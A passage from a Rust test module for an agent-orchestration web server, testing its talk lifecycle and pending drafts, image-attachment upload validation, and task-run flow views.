8732            // A settled talk: the draft drained into an operator turn and
8733            // answered.
8734            let mut fresh = talks.get(&id).expect("reload talk");
8735            for _ in 0..SETTLE_STEPS {
8736                if fresh.pending.is_empty() && fresh.turns.len() == 2 {
8737                    break;
8738                }
8739                tokio::time::sleep(Duration::from_millis(10)).await;
8740                fresh = talks.get(&id).expect("reload talk");
8741            }
8742            assert!(
8743                fresh.pending.is_empty() && fresh.turns.len() == 2,
8744                "attempt {attempt}: talk {id} left the operator's text queued \
8745                 with no drainer - the reclaimed turn was dropped along with \
8746                 the handler future (pending {:?}, {} turns)",
8747                fresh.pending,
8748                fresh.turns.len()
8749            );
8750        }
8751    }
8752
8753    #[tokio::test]
8754    async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
8755        let (_tmp, _repo, f) = talk_fixture().await;
8756        let id = f.post("/api/talks", None).await.json()["id"]
8757            .as_str()
8758            .expect("id")
8759            .to_owned();
8760        let store = f.talks();
8761        let mut recovered = store.get(&id).expect("opened talk");
8762        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
8763            .expect("persist pending draft without a live turn");
8764
8765        let edited = f
8766            .post(
8767                &format!("/api/talks/{id}/pending/edit"),
8768                Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
8769            )
8770            .await;
8771        assert_eq!(edited.status, 200, "{}", edited.body);
8772        assert!(edited.json()["thinking"].as_bool().unwrap());
8773
8774        let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
8775        for _ in 0..SETTLE_STEPS {
8776            if detail["turns"].as_array().expect("turns").len() == 2 {
8777                break;
8778            }
8779            tokio::time::sleep(Duration::from_millis(10)).await;
8780            detail = f.get(&format!("/api/talks/{id}")).await.json();
8781        }
8782        let turns = detail["turns"].as_array().expect("turns");
8783        assert_eq!(
8784            turns.len(),
8785            2,
8786            "the recovered draft must run once: {detail}"
8787        );
8788        assert_eq!(turns[0]["body"], "corrected");
8789        assert_eq!(detail["pending"], "");
8790    }
8791
8792    #[tokio::test]
8793    async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
8794        let tmp = TempDir::new().expect("tempdir");
8795        let repo = tmp.path().join("repo");
8796        std::fs::create_dir_all(&repo).expect("repo dir");
8797        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
8798        let f = Fixture::with_repo(repo).await;
8799        let id = f.post("/api/talks", None).await.json()["id"]
8800            .as_str()
8801            .expect("id")
8802            .to_owned();
8803        let store = f.talks();
8804        let mut recovered = store.get(&id).expect("opened talk");
8805        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
8806            .expect("persist pending draft without a live turn");
8807
8808        let refused = f
8809            .post(
8810                &format!("/api/talks/{id}/say"),
8811                Some(r#"{"text":"new message"}"#),
8812            )
8813            .await;
8814        assert_eq!(refused.status, 409, "{}", refused.body);
8815        assert!(refused.body.contains("resume"), "{}", refused.body);
8816        let saved = store.get(&id).expect("draft remains after refusal");
8817        assert!(saved.turns.is_empty());
8818        assert_eq!(saved.pending, "saved before restart");
8819
8820        let say_path = format!("/api/talks/{id}/say");
8821        let (first, second) = tokio::join!(
8822            f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
8823            f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
8824        );
8825        assert_eq!(first.status, 409, "{}", first.body);
8826        assert_eq!(second.status, 409, "{}", second.body);
8827        let saved = store
8828            .get(&id)
8829            .expect("draft remains after concurrent refusals");
8830        assert!(saved.turns.is_empty());
8831        assert_eq!(saved.pending, "saved before restart");
8832
8833        let resumed = f
8834            .post(&format!("/api/talks/{id}/pending/resume"), None)
8835            .await;
8836        assert_eq!(resumed.status, 202, "{}", resumed.body);
8837        let duplicate = f
8838            .post(&format!("/api/talks/{id}/pending/resume"), None)
8839            .await;
8840        assert_eq!(duplicate.status, 409, "{}", duplicate.body);
8841
8842        for _ in 0..SETTLE_STEPS {
8843            if store.get(&id).expect("talk").turns.len() == 2 {
8844                break;
8845            }
8846            tokio::time::sleep(Duration::from_millis(10)).await;
8847        }
8848        let finished = store.get(&id).expect("finished talk");
8849        assert_eq!(finished.turns.len(), 2, "{finished:?}");
8850        assert_eq!(finished.turns[0].body, "saved before restart");
8851        assert!(finished.pending.is_empty());
8852    }
8853
8854    #[tokio::test]
8855    async fn an_image_only_recovered_draft_resumes_without_text() {
8856        let (_tmp, _repo, f) = talk_fixture().await;
8857        let id = f.post("/api/talks", None).await.json()["id"]
8858            .as_str()
8859            .expect("id")
8860            .to_owned();
8861        let uploaded = f
8862            .post_bytes(
8863                &format!("/api/talks/{id}/attachments"),
8864                &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
8865                PNG_BYTES,
8866            )
8867            .await;
8868        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
8869        let attachment = f
8870            .talks()
8871            .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
8872            .expect("attachment metadata")
8873            .expect("stored attachment");
8874        let store = f.talks();
8875        let mut recovered = store.get(&id).expect("opened talk");
8876        talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
8877
8878        let resumed = f
8879            .post(&format!("/api/talks/{id}/pending/resume"), None)
8880            .await;
8881        assert_eq!(resumed.status, 202, "{}", resumed.body);
8882        for _ in 0..SETTLE_STEPS {
8883            if store.get(&id).expect("talk").turns.len() == 2 {
8884                break;
8885            }
8886            tokio::time::sleep(Duration::from_millis(10)).await;
8887        }
8888        let finished = store.get(&id).expect("finished talk");
8889        assert_eq!(finished.turns.len(), 2, "{finished:?}");
8890        assert!(finished.turns[0].body.is_empty());
8891        assert_eq!(finished.turns[0].attachments.len(), 1);
8892        assert!(finished.pending_attachments.is_empty());
8893    }
8894
8895    #[tokio::test]
8896    async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
8897        let (_tmp, _repo, f) = talk_fixture().await;
8898        let id = f.post("/api/talks", None).await.json()["id"]
8899            .as_str()
8900            .expect("id")
8901            .to_owned();
8902        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
8903        assert_eq!(closed.status, 200, "{}", closed.body);
8904        let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
8905            .expect("serialize closed talk");
8906        for (path, body) in [
8907            (format!("/api/talks/{id}/pending/resume"), None),
8908            (
8909                format!("/api/talks/{id}/pending/clear"),
8910                Some(r#"{"expected_text":"","expected_attachments":[]}"#),
8911            ),
8912            (
8913                format!("/api/talks/{id}/pending/edit"),
8914                Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
8915            ),
8916            (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
8917        ] {
8918            let response = f.post(&path, body).await;
8919            assert_eq!(response.status, 409, "{}", response.body);
8920        }
8921        let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
8922            .expect("serialize closed talk");
8923        assert_eq!(
8924            after_clear, before_clear,
8925            "clear must not rewrite a closed talk"
8926        );
8927    }
8928
8929    /// Keeps both claims observable long enough to exercise the distinction
8930    /// between one busy talk and a globally locked Chat surface.
8931    const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 0.3 && printf ok\"]\n";
8932
8933    #[tokio::test]
8934    async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
8935        let tmp = TempDir::new().expect("tempdir");
8936        let repo = tmp.path().join("repo");
8937        std::fs::create_dir_all(&repo).expect("repo dir");
8938        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
8939        let f = Fixture::with_repo(repo).await;
8940        let id_a = f.post("/api/talks", None).await.json()["id"]
8941            .as_str()
8942            .unwrap()
8943            .to_owned();
8944        let id_b = f.post("/api/talks", None).await.json()["id"]
8945            .as_str()
8946            .unwrap()
8947            .to_owned();
8948
8949        let a = f
8950            .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
8951            .await;
8952        assert_eq!(a.status, 202, "{}", a.body);
8953        assert_eq!(a.json()["thinking"], true);
8954        let b = f
8955            .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
8956            .await;
8957        assert_eq!(b.status, 202, "{}", b.body);
8958        assert_eq!(b.json()["thinking"], true);
8959
8960        let listed = f.get("/api/talks").await.json();
8961        for id in [&id_a, &id_b] {
8962            let view = listed
8963                .as_array()
8964                .unwrap()
8965                .iter()
8966                .find(|talk| talk["id"] == *id)
8967                .unwrap();
8968            assert_eq!(view["thinking"], true, "{listed}");
8969        }
8970        let repeated = f
8971            .post(
8972                &format!("/api/talks/{id_a}/say"),
8973                Some(r#"{"text":"again"}"#),
8974            )
8975            .await;
8976        assert_eq!(repeated.status, 202, "{}", repeated.body);
8977        assert_eq!(repeated.json()["pending"], "again");
8978    }
8979
8980    /// Bytes `sniffed_mime` recognises as `image/png` - the signature plus a
8981    /// few more, since real uploads are never exactly eight bytes.
8982    const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
8983
8984    #[tokio::test]
8985    async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
8986        let f = Fixture::start().await;
8987        let id = seed_talk(&f, "20260905-000000-a1b2", "open");
8988
8989        let res = f
8990            .post_bytes(
8991                &format!("/api/talks/{id}/attachments"),
8992                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
8993                PNG_BYTES,
8994            )
8995            .await;
8996        assert_eq!(res.status, 201, "{}", res.body);
8997        let body = res.json();
8998        assert_eq!(body["name"], "shot.png");
8999        assert_eq!(body["mime"], "image/png");
9000        assert_eq!(body["bytes"], PNG_BYTES.len());
9001        let att_id = body["id"].as_str().expect("id").to_owned();
9002        assert_eq!(
9003            att_id.len(),
9004            32,
9005            "the id must never be a client-suppliable path: {att_id}"
9006        );
9007
9008        let got = f
9009            .get(&format!("/api/talks/{id}/attachments/{att_id}"))
9010            .await;
9011        assert_eq!(got.status, 200, "{}", got.body);
9012        assert_eq!(got.header("content-type"), Some("image/png"));
9013        assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
9014        assert_eq!(got.bytes, PNG_BYTES);
9015    }
9016
9017    #[tokio::test]
9018    async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
9019        let f = Fixture::start().await;
9020        let id = seed_talk(&f, "20260905-000000-c3d4", "open");
9021
9022        // SVG can carry a `<script>`, so it is never on the whitelist even
9023        // though it is a real IANA image type.
9024        let svg = f
9025            .post_bytes(
9026                &format!("/api/talks/{id}/attachments"),
9027                &[("Content-Type", "image/svg+xml")],
9028                b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
9029            )
9030            .await;
9031        assert!(
9032            (400..500).contains(&svg.status),
9033            "svg must be refused: {} {}",
9034            svg.status,
9035            svg.body
9036        );
9037        assert!(svg.body.contains("SVG"), "{}", svg.body);
9038
9039        let text = f
9040            .post_bytes(
9041                &format!("/api/talks/{id}/attachments"),
9042                &[("Content-Type", "text/plain")],
9043                b"just some text",
9044            )
9045            .await;
9046        assert!(
9047            (400..500).contains(&text.status),
9048            "an unlisted type must be refused: {} {}",
9049            text.status,
9050            text.body
9051        );
9052
9053        // The declared type is a real png, but the size check runs before
9054        // the bytes are even looked at.
9055        let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
9056        let big = f
9057            .post_bytes(
9058                &format!("/api/talks/{id}/attachments"),
9059                &[("Content-Type", "image/png")],
9060                &oversized,
9061            )
9062            .await;
9063        assert_eq!(
9064            big.status,
9065            StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
9066            "{}",
9067            big.body
9068        );
9069    }
9070
9071    #[tokio::test]
9072    async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
9073        let f = Fixture::start().await;
9074        let id = seed_talk(&f, "20260905-000000-d4e5", "open");
9075
9076        // A whitelisted `Content-Type`, but bytes that are not actually a
9077        // png - the declared header alone is never trusted.
9078        let res = f
9079            .post_bytes(
9080                &format!("/api/talks/{id}/attachments"),
9081                &[("Content-Type", "image/png")],
9082                b"<html>not a picture</html>",
9083            )
9084            .await;
9085        assert!((400..500).contains(&res.status), "{}", res.body);
9086    }
9087
9088    #[tokio::test]
9089    async fn an_unknown_attachment_id_is_a_404() {
9090        let f = Fixture::start().await;
9091        let id = seed_talk(&f, "20260905-000000-e5f6", "open");
9092
9093        let res = f
9094            .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
9095            .await;
9096        assert_eq!(res.status, 404, "{}", res.body);
9097    }
9098
9099    #[tokio::test]
9100    async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
9101        let f = Fixture::start().await;
9102        let id = seed_talk(&f, "20260905-000000-f6a7", "open");
9103
9104        let uploaded = f
9105            .post_bytes(
9106                &format!("/api/talks/{id}/attachments"),
9107                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
9108                PNG_BYTES,
9109            )
9110            .await;
9111        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
9112        let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
9113
9114        let res = f
9115            .post(
9116                &format!("/api/talks/{id}/say"),
9117                Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
9118            )
9119            .await;
9120        assert_eq!(res.status, 202, "{}", res.body);
9121        let queued = res.json();
9122        let turns = queued["turns"].as_array().expect("turns array");
9123        assert_eq!(
9124            turns.len(),
9125            1,
9126            "an empty body with an attachment is still a turn: {queued}"
9127        );
9128        assert_eq!(turns[0]["who"], "operator");
9129        assert_eq!(turns[0]["body"], "");
9130        let atts = turns[0]["attachments"]
9131            .as_array()
9132            .expect("attachments array");
9133        assert_eq!(atts.len(), 1);
9134        assert_eq!(atts[0]["id"], att_id);
9135        assert_eq!(atts[0]["mime"], "image/png");
9136
9137        // Not only in the response: `record` flushes to disk before the
9138        // agent's own turn is even spawned.
9139        let on_disk = f.talks().get(&id).expect("get");
9140        assert_eq!(on_disk.turns[0].attachments.len(), 1);
9141        assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
9142    }
9143
9144    #[tokio::test]
9145    async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
9146        let f = Fixture::start().await;
9147        let id = seed_talk(&f, "20260905-000000-a7b8", "open");
9148
9149        let res = f
9150            .post(
9151                &format!("/api/talks/{id}/say"),
9152                Some(&format!(
9153                    r#"{{"text":"hi","attachments":["{}"]}}"#,
9154                    "a".repeat(32)
9155                )),
9156            )
9157            .await;
9158        assert!((400..500).contains(&res.status), "{}", res.body);
9159        assert!(res.body.contains("unknown attachment"), "{}", res.body);
9160
9161        let on_disk = f.talks().get(&id).expect("get");
9162        assert!(
9163            on_disk.turns.is_empty(),
9164            "a rejected attachment id must not partially record the turn: {:?}",
9165            on_disk.turns
9166        );
9167    }
9168
9169    #[tokio::test]
9170    async fn talk_close_makes_the_talk_refuse_further_turns() {
9171        let f = Fixture::start().await;
9172        let id = seed_talk(&f, "20260904-014455-cd34", "open");
9173
9174        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
9175        assert_eq!(closed.status, 200, "{}", closed.body);
9176        assert_eq!(closed.json()["status"], "closed");
9177
9178        // Idempotent: closing an already-closed talk is not an error.
9179        let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
9180        assert_eq!(closed_again.status, 200);
9181        assert_eq!(closed_again.json()["status"], "closed");
9182
9183        let said = f
9184            .post(
9185                &format!("/api/talks/{id}/say"),
9186                Some(r#"{"text":"too late"}"#),
9187            )
9188            .await;
9189        assert_eq!(said.status, 409, "{}", said.body);
9190    }
9191
9192    #[tokio::test]
9193    async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
9194        let (_tmp, _repo, f) = talk_fixture().await;
9195        let id = f.post("/api/talks", None).await.json()["id"]
9196            .as_str()
9197            .expect("id")
9198            .to_owned();
9199        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
9200        assert_eq!(closed.status, 200, "{}", closed.body);
9201
9202        let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
9203        assert_eq!(reopened.status, 200, "{}", reopened.body);
9204        assert_eq!(reopened.json()["status"], "open");
9205
9206        // Idempotent: reopening an already-open talk is not an error.
9207        let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
9208        assert_eq!(reopened_again.status, 200);
9209        assert_eq!(reopened_again.json()["status"], "open");
9210
9211        let said = f
9212            .post(
9213                &format!("/api/talks/{id}/say"),
9214                Some(r#"{"text":"still there?"}"#),
9215            )
9216            .await;
9217        assert_eq!(
9218            said.status, 202,
9219            "a reopened talk accepts turns again: {}",
9220            said.body
9221        );
9222    }
9223
9224    #[tokio::test]
9225    async fn talk_reopen_on_an_unknown_id_is_404() {
9226        let f = Fixture::start().await;
9227        let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
9228        assert_eq!(res.status, 404, "{}", res.body);
9229    }
9230
9231    #[tokio::test]
9232    async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
9233        let f = Fixture::start().await;
9234        let id = seed_talk(&f, "20260904-014455-ef56", "closed");
9235
9236        let deleted = f.delete(&format!("/api/talks/{id}")).await;
9237        assert_eq!(deleted.status, 204, "{}", deleted.body);
9238
9239        let after = f.get(&format!("/api/talks/{id}")).await;
9240        assert_eq!(after.status, 404, "{}", after.body);
9241
9242        let listed = f.get("/api/talks").await.json();
9243        assert!(
9244            listed.as_array().unwrap().iter().all(|t| t["id"] != id),
9245            "a deleted talk must not linger in the list: {listed}"
9246        );
9247    }
9248
9249    #[tokio::test]
9250    async fn talk_delete_on_an_unknown_id_is_404() {
9251        let f = Fixture::start().await;
9252        let res = f.delete("/api/talks/nonexistent-id").await;
9253        assert_eq!(res.status, 404, "{}", res.body);
9254    }
9255
9256    /// A task's page lists every run it ever had, in order, and says what kind
9257    /// of attempt each was - including a resume, which re-pushes the same run
9258    /// id, and a run whose record this build cannot read.
9259    #[tokio::test]
9260    async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
9261        let f = Fixture::start().await;
9262        let (a, b, gone) = (
9263            "20260902-140501-aaaa",
9264            "20260902-140502-bbbb",
9265            "20260902-140503-cccc",
9266        );
9267        write_run(&f.runs(), a, RunStatus::Stalled);
9268        let mut review = RunState::new(
9269            PathBuf::from("/repo/magi"),
9270            "main".to_owned(),
9271            "0123456789abcdef".to_owned(),
9272            "Review the work already on branch `magi/aaaa/A`. There is no task statement."
9273                .to_owned(),
9274            Config::default(),
9275        );
9276        review.id = b.to_owned();
9277        review.status = RunStatus::Merged;
9278        write_state(&f.runs(), &review);
9279
9280        let mut task = Task::new(
9281            "retry".to_owned(),
9282            "Do the thing".to_owned(),
9283            PathBuf::from("/repo/magi"),
9284            Source::Human,
9285        );
9286        task.start(a.to_owned());
9287        task.stall("quota");
9288        task.start(a.to_owned());
9289        task.start(b.to_owned());
9290        task.start(gone.to_owned());
9291        f.queue().put(&mut task).expect("file the task");
9292
9293        let res = f.get(&format!("/api/queue/{}", task.id)).await;
9294        assert_eq!(res.status, 200, "{}", res.body);
9295        let v = res.json();
9296        let h = v["history"].as_array().expect("history");
9297        assert_eq!(h.len(), 4, "{v}");
9298        assert_eq!(h[0]["kind"], "competition");
9299        assert_eq!(h[0]["status"], "stalled");
9300        assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
9301        assert_eq!(h[1]["kind"], "resume", "{v}");
9302        assert!(
9303            h[0]["outcome"]
9304                .as_str()
9305                .unwrap()
9306                .contains("unknown. Pass #2"),
9307            "an earlier pass of a resumed run must not claim the final outcome: {v}"
9308        );
9309        assert!(
9310            !h[1]["outcome"].as_str().unwrap().contains("unknown."),
9311            "{v}"
9312        );
9313        assert!(
9314            !h[0]["outcome"].as_str().unwrap().contains("parked it"),
9315            "an unrecorded cause must not be narrated as an operator park: {v}"
9316        );
9317        assert_eq!(h[2]["kind"], "review");
9318        assert!(
9319            h[2]["description"]
9320                .as_str()
9321                .unwrap()
9322                .contains("magi/aaaa/A")
9323        );
9324        assert_eq!(h[2]["status"], "merged");
9325        assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
9326        assert_eq!(v["runs_unreadable"], 1);
9327        let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
9328        assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
9329        assert_eq!(nodes[4]["note"], "unreadable");
9330        assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
9331        assert_eq!(v["instruction"], "Do the thing");
9332        assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
9333
9334        // The run's own page links back to the task.
9335        let run = f.get(&format!("/api/runs/{a}")).await.json();
9336        assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
9337
9338        assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
9339    }
9340
9341    fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
9342        let mut s = RunState::new(
9343            PathBuf::from("/repo/magi"),
9344            "main".to_owned(),
9345            "0123456789abcdef".to_owned(),
9346            "Do it".to_owned(),
9347            Config::default(),
9348        );
9349        s.status = status;
9350        edit(&mut s);
9351        s
9352    }
9353
9354    fn flow_task(runs: &[&str]) -> Task {
9355        let mut t = Task::new(
9356            "t".to_owned(),
9357            "Do it".to_owned(),
9358            PathBuf::from("/repo/magi"),
9359            Source::Human,
9360        );
9361        for r in runs {
9362            t.start((*r).to_owned());
9363        }
9364        t
9365    }
9366
9367    fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
9368        let h = task_history(task, |id| {
9369            states
9370                .iter()
9371                .find(|(i, _)| *i == id)
9372                .and_then(|(_, s)| s.clone())
9373        });
9374        task_flow(task, &h, 5)
9375    }
9376
9377    #[test]
9378    fn flow_opens_with_the_chat_that_queued_the_task() {
9379        let mut t = flow_task(&[]);
9380        t.source = Source::Agent {
9381            run: "a b/c".to_owned(),
9382            node: crate::queue::CHAT_NODE.to_owned(),
9383        };
9384        let f = flow_for(&t, &[]);
9385        assert_eq!(f.nodes[0].key, "chat");
9386        assert_eq!(f.nodes[0].kind, "chat");
9387        assert_eq!(
9388            f.nodes[0].label,
9389            format!("Chat {}", crate::queue::short("a b/c"))
9390        );
9391        assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
9392        assert_eq!(f.nodes[1].key, "start");
9393        assert_eq!(
9394            f.edges[0],
9395            FlowEdge {
9396                from: "chat".to_owned(),
9397                to: "start".to_owned(),
9398                label: "queued from chat".to_owned(),
9399                attempt: AttemptCost::None,
9400            }
9401        );
9402    }
9403
9404    #[test]
9405    fn flow_has_no_chat_box_for_other_sources() {
9406        for source in [
9407            Source::Human,
9408            Source::Issue {
9409                number: 3,
9410                repo: "o/r".to_owned(),
9411            },
9412            Source::Agent {
9413                run: "20260904-014455-ab12".to_owned(),
9414                node: "implement".to_owned(),
9415            },
9416        ] {
9417            let mut t = flow_task(&[]);
9418            t.source = source;
9419            let f = flow_for(&t, &[]);
9420            assert_eq!(f.nodes[0].key, "start");
9421            assert!(f.nodes.iter().all(|n| n.kind != "chat"));
9422            assert!(f.edges.iter().all(|e| e.from != "chat"));
9423        }
9424    }
9425
9426    const FA: &str = "20260902-140501-aaaa";
9427    const FB: &str = "20260902-140502-bbbb";
9428
9429    #[test]
9430    fn flow_follows_blocked_retry_merged_to_done() {
9431        let mut t = flow_task(&[FA, FB]);
9432        t.status = TaskStatus::Done;
9433        let f = flow_for(
9434            &t,
9435            &[
9436                (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
9437                (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
9438            ],
9439        );
9440        let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
9441        assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
9442        assert_eq!(f.edges.len(), 3);
9443        assert_eq!(f.edges[0].label, "claimed");
9444        assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
9445        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
9446        assert_eq!(f.edges[2].label, "merged \u{2192} done");
9447        assert_eq!(
9448            f.nodes[2].href.as_deref(),
9449            Some("#/runs/20260902-140502-bbbb")
9450        );
9451        assert!(f.nodes[2].decided);
9452    }
9453
9454    #[test]
9455    fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
9456        let quota = || {
9457            flow_run(RunStatus::Stalled, |s| {
9458                s.quota.push(crate::run::QuotaLoss {
9459                    seat: "judge-1".to_owned(),
9460                    node: "judge".to_owned(),
9461                    at: Timestamp::now(),
9462                    reset: None,
9463                })
9464            })
9465        };
9466        let mut t = flow_task(&[FA, FA]);
9467        t.status = TaskStatus::Queued;
9468        let f = flow_for(&t, &[(FA, Some(quota()))]);
9469        assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
9470        assert_eq!(f.nodes[1].note, Some("interrupted"));
9471        assert_eq!(
9472            f.nodes[1].status, None,
9473            "no outcome copied onto an earlier pass"
9474        );
9475        assert_eq!(
9476            f.edges[1].attempt,
9477            AttemptCost::Unknown,
9478            "a resume does not prove the earlier pass was refunded"
9479        );
9480        assert!(f.edges[1].label.contains("resume the same run"));
9481        assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
9482        assert_eq!(
9483            f.edges[2].label,
9484            "stalled after a resume, refund unknown \u{2192} queued"
9485        );
9486        assert!(!f.nodes[2].decided, "a stall is not a decision");
9487        assert_eq!(f.nodes[2].note, Some("no verdict"));
9488    }
9489
9490    #[test]
9491    fn flow_single_pass_quota_stall_is_refunded() {
9492        let t = flow_task(&[FA]);
9493        let f = flow_for(
9494            &t,
9495            &[(
9496                FA,
9497                Some(flow_run(RunStatus::Stalled, |s| {
9498                    s.quota.push(crate::run::QuotaLoss {
9499                        seat: "judge-1".to_owned(),
9500                        node: "judge".to_owned(),
9501                        at: Timestamp::now(),
9502                        reset: None,
9503                    })
9504                })),
9505            )],
9506        );
9507        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
9508    }
9509
9510    #[test]
9511    fn flow_parked_refunds_and_stall_without_quota_spends() {
9512        let mut t = flow_task(&[FA]);
9513        t.status = TaskStatus::Queued;
9514        let f = flow_for(
9515            &t,
9516            &[(
9517                FA,
9518                Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
9519            )],
9520        );
9521        assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
9522        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
9523        let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
9524        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
9525        assert!(!f.nodes[1].decided);
9526    }
9527
9528    #[test]
9529    fn flow_keeps_an_unreadable_run_as_its_own_node() {
9530        let t = flow_task(&[FA, FB]);
9531        let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
9532        assert_eq!(f.nodes[1].note, Some("unreadable"));
9533        assert!(!f.nodes[1].readable);
9534        assert_eq!(f.nodes[1].run_kind, Some("unknown"));
9535        assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
9536    }
9537
9538    #[test]
9539    fn flow_names_the_branch_of_a_review_only_run() {
9540        let t = flow_task(&[FA]);
9541        let f = flow_for(
9542            &t,
9543            &[(
9544                FA,
9545                Some(flow_run(RunStatus::Merged, |s| {
9546                    s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
9547                })),
9548            )],
9549        );
9550        assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
9551        assert_eq!(
9552            f.nodes[1].detail.as_deref(),
9553            Some("review-only run of branch magi/x/A")
9554        );
9555    }
9556
9557    #[test]
9558    fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
9559        let mut t = flow_task(&[FA]);
9560        t.status = TaskStatus::Held;
9561        let pr = crate::run::PrRecord {
9562            url: "https://example.test/pr/1".to_owned(),
9563            number: 1,
9564            state: "open".to_owned(),
9565            checks: "green".to_owned(),
9566            round: 0,
9567            rounds: 3,
9568            red_at_merge: Vec::new(),
9569        };
9570        let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
9571        let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
9572        assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
9573        t.status = TaskStatus::Done;
9574        let f = flow_for(&t, &[(FA, Some(blocked))]);
9575        assert_eq!(f.edges[1].label, "closed by hand: task is done");
9576    }
9577
9578    #[test]
9579    fn flow_with_no_runs_goes_from_queued_to_queued() {
9580        let t = flow_task(&[]);
9581        let f = flow_for(&t, &[]);
9582        assert_eq!(f.nodes.len(), 2);
9583        assert_eq!(f.edges.len(), 1);
9584        assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
9585        assert_eq!(f.edges[0].attempt, AttemptCost::None);
9586    }
9587
9588    /// A run parked mid-flight keeps a non-terminal status; the page must
9589    /// still say why it stopped and that the attempt came back.
9590    #[test]
9591    fn a_parked_non_terminal_run_is_explained_as_parked() {
9592        let mut s = RunState::new(
9593            PathBuf::from("/repo/magi"),
9594            "main".to_owned(),
9595            "0123456789abcdef".to_owned(),
9596            "Do it".to_owned(),
9597            Config::default(),
9598        );
9599        s.status = RunStatus::Implementing;
9600        s.parked = true;
9601        let task = Task::new(
9602            "t".to_owned(),
9603            "Do it".to_owned(),
9604            PathBuf::from("/repo/magi"),
9605            Source::Human,
9606        );
9607        let v = task_run_view(
9608            "20260902-140501-aaaa",
9609            Some(&s),
9610            RunSlot {
9611                n: 1,
